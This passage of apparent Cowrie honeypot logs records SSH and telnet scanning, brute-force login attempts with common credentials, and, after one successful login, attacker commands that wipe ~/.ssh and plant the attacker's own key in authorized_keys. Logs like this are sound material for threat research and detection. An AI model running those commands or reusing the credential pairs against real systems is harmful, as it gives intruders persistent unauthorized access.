84","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:26.580166Z","src_ip":"4.213.160.153","session":"d672fd2e9156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testadmin","message":"login attempt [root/testadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:27.342800Z","src_ip":"4.213.160.153","session":"d672fd2e9156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:28.529401Z","src_ip":"4.213.160.153","session":"d672fd2e9156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.243505477905273,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:32.860922Z","src_ip":"37.237.124.55","session":"df95cc1682d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":51842,"dst_ip":"10.17.0.5","dst_port":22,"session":"70ced542272f","protocol":"ssh","message":"New connection: 187.212.47.18:51842 (10.17.0.5:22) [session: 70ced542272f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:41.532246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:41.536711Z","src_ip":"187.212.47.18","session":"70ced542272f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:41.768697Z","src_ip":"187.212.47.18","session":"70ced542272f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guestpass","message":"login attempt [guest/guestpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:42.105892Z","src_ip":"187.212.47.18","session":"70ced542272f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:43.185192Z","src_ip":"187.212.47.18","session":"70ced542272f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":47608,"dst_ip":"10.17.0.5","dst_port":22,"session":"eed69852009c","protocol":"ssh","message":"New connection: 211.186.79.173:47608 (10.17.0.5:22) [session: eed69852009c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:46.665205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:46.671087Z","src_ip":"211.186.79.173","session":"eed69852009c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:46.854766Z","src_ip":"211.186.79.173","session":"eed69852009c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newtest","password":"password","message":"login attempt [newtest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:47.598116Z","src_ip":"211.186.79.173","session":"eed69852009c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:48.789233Z","src_ip":"211.186.79.173","session":"eed69852009c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.135.189","src_port":50506,"dst_ip":"10.17.0.5","dst_port":22,"session":"35fdf222296d","protocol":"ssh","message":"New connection: 120.48.135.189:50506 (10.17.0.5:22) [session: 35fdf222296d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:49.510940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:49.515875Z","src_ip":"120.48.135.189","session":"35fdf222296d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:49.735747Z","src_ip":"120.48.135.189","session":"35fdf222296d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":50208,"dst_ip":"159.203.135.109","dst_port":22,"session":"da6193b70085","protocol":"ssh","message":"New connection: 36.93.249.106:50208 (159.203.135.109:22) [session: da6193b70085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:49.841054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:49.845870Z","src_ip":"36.93.249.106","session":"da6193b70085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:50.118657Z","src_ip":"36.93.249.106","session":"da6193b70085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00213575363159,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:50.125062Z","src_ip":"80.201.83.165","session":"5b62ff3d636c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"@dm!n","message":"login attempt [admin/@dm!n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:51.229832Z","src_ip":"36.93.249.106","session":"da6193b70085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:51:52.505815Z","src_ip":"36.93.249.106","session":"da6193b70085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":39422,"dst_ip":"159.203.135.109","dst_port":22,"session":"69e729f0c982","protocol":"ssh","message":"New connection: 4.213.160.153:39422 (159.203.135.109:22) [session: 69e729f0c982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:27.139349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:27.144255Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:27.333345Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"sysadmin","message":"login attempt [admin/sysadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:28.123008Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:28.541482Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:28.545010Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:28.549450Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:28.738767Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:29.153839Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:29.157334Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:29.348820Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:29.352745Z","src_ip":"4.213.160.153","session":"69e729f0c982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":55692,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3646da2b18a","protocol":"ssh","message":"New connection: 4.213.160.153:55692 (159.203.135.109:22) [session: c3646da2b18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:29.528027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:29.532799Z","src_ip":"4.213.160.153","session":"c3646da2b18a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:29.716783Z","src_ip":"4.213.160.153","session":"c3646da2b18a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:30.486491Z","src_ip":"4.213.160.153","session":"c3646da2b18a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:31.674281Z","src_ip":"4.213.160.153","session":"c3646da2b18a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":55708,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0ad49ba44c9","protocol":"ssh","message":"New connection: 4.213.160.153:55708 (159.203.135.109:22) [session: d0ad49ba44c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:31.860188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:52:31.870170Z","src_ip":"4.213.160.153","session":"d0ad49ba44c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-e